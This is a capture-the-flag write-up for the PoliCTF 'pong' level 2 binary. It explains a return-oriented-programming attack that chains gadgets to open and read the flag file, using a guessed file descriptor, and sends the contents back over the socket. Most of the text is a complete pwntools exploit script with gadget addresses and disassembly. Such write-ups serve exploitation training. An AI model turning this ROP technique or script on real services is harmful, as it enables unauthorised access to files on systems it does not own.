Ready for another match? :P

nc pong.chall.polictf.it 31337 or nc pong2.chall.polictf.it 31337

Download

It is basically the same binary as level1, but without the secret function.

This time we did ROP to achieve what the removed function was offering.

We used ROPgadget to lookup for meaningful gadgets to achieve our intent. We chained gadgets to achieve calls to open then read (both of them had a PLT entry) and finally we called sendMessage to have the flag content printed back to the client socket.

Since we didn’t find a proper gadget in order to prepare the correct fd argument for the call to read (specifically the one returned by open) we tried to guess it.

We observed that the fd number was 9 on our local machine, so we tried that value on the server and it worked like a charm at the first run.


from pwn import *
import sys

def start_game(level, local=None):
    log.info("local: %s" % local)
    if str(local) == str("local"):
        p = remote('localhost', 31337)
    else:
        p = remote('pong.chall.polictf.it', 31337)
    p.sendline(level)
    p.recvuntil("OK ")
    s = p.recvline()
    c_port = int(s.strip())
    return c_port



def play_pong(port, local=None):
    print "connecting to pong UDP server at %d" % port
    if str(local) == str('local'):
        p = remote('localhost', port, typ="udp")
    else:
        p = remote('pong.chall.polictf.it', port, typ="udp")
    return p



def send_to_pong(p, pay, stop=None): 
    p.sendline(pay)
    s = None
    if stop:
        s = p.recv(timeout=5)
    return s



def prepare():
    port = start_game("Lv2", sys.argv[1])
    p = play_pong(port, sys.argv[1])
    return p



def payloadgen():
    # read(open("./flag2", O_RDONLY), buf, 256)
    # sendMessage(buf)
    pop_rdi = p64(0x406938) # pop rdi
    pop_rsi = p64(0x404717) # pod rsi 
    pop_rdx = p64(0x405c65) # pop rdx ; pop ; rsp+8 ; ret
    mov_rdi = p64(0x40df60) # 0x40df60 mov qword ptr [rdi], rdx ; ret
    buf = p64(0x61F560) # buffer (field of zeros)
    RDONLY = p64(0x0)
    
    pay = "1" + "|" + "2" * 22
    pay += pop_rdi
    pay += buf

    '''
    we observed that in someway ( we did not investigate on)
    the stack position where we put the
    flag string was modified corrupting 
    its value. so we add some instructions 
    to push deeper down to the stack 
    the string, so avoiding the corruption.
    '''
    pay += pop_rdx
    pay += "./flag\x00\x00"
    pay += pop_rsi #trash
    pay += pop_rsi #trash

    pay += pop_rdx
    pay += "./flag\x00\x00"
    pay += pop_rsi #trash
    pay += pop_rsi #trash

    pay += pop_rdx
    pay += "./flag\x00\x00"
    pay += pop_rsi #trash
    pay += pop_rsi #trash
    
    pay += pop_rdx
    pay += "./flag\x00\x00"
    pay += pop_rsi #trash
    pay += pop_rsi #trash

    pay += mov_rdi
    pay += pop_rsi
    pay += RDONLY

    #0x0000000000416add : pop rax ; pop rbx ; pop rbp ; pop r12 ; ret
    pay += p64(0x0000000000416add)
    pay += p64(elf.plt['open'])
    pay += p64(0x0)
    pay += p64(0x0)
    pay += p64(0x0)

    #0x0000000000402e48 : call rax
    pay += p64(0x0000000000402e48)
    pay += p64(0x0)

    # mov rdi, rax
    pay += pop_rdi
    pay += p64(0x9)
    pay += pop_rsi
    pay += buf
    pay += pop_rdx
    pay += p64(0x100) # len
    pay += p64(0x100)
    pay += p64(0x100)
    pay += p64(elf.plt['read'])
    
    pay += pop_rdi
    pay += buf
    pay += p64(0x404526) # sendMessage
    return pay


elf = ELF('./level2/level2')
p = prepare()
raw_input("stop")
print("Sending reset")

pay = "-1|2"
send_to_pong(p, pay, False)
pay = payloadgen()
for x in range(1):
    log.info("SENDING FATAL PONG")
    send_to_pong(p, pay, False)

for x in range(10):
    print(p.recv())


'''

0x0000000000406938 : pop rdi ; ret

0x0000000000406936 : pop rsi ; pop r15 ; ret

0x0000000000404717 : pop rsi ; ret

0x0000000000405c65 : pop rdx ; pop rcx ; add rsp, 8 ; ret

0x0000000000407546 : push rax ; ret

00000000004036a0 <open@plt>:

0000000000403290 <read@plt>:

.text:0000000000404526 sendMessage     proc near           ; CODE XREF: broadcast+69p

.text:0000000000404526

.text:0000000000404526 mex         = qword ptr -18h

.text:0000000000404526

.text:0000000000404526         push    rbp

.text:0000000000404527         mov     rbp, rsp

.text:000000000040452A         push    rbx

.text:000000000040452B         sub     rsp, 18h

.text:000000000040452F         mov     [rbp+mex], rdi



'''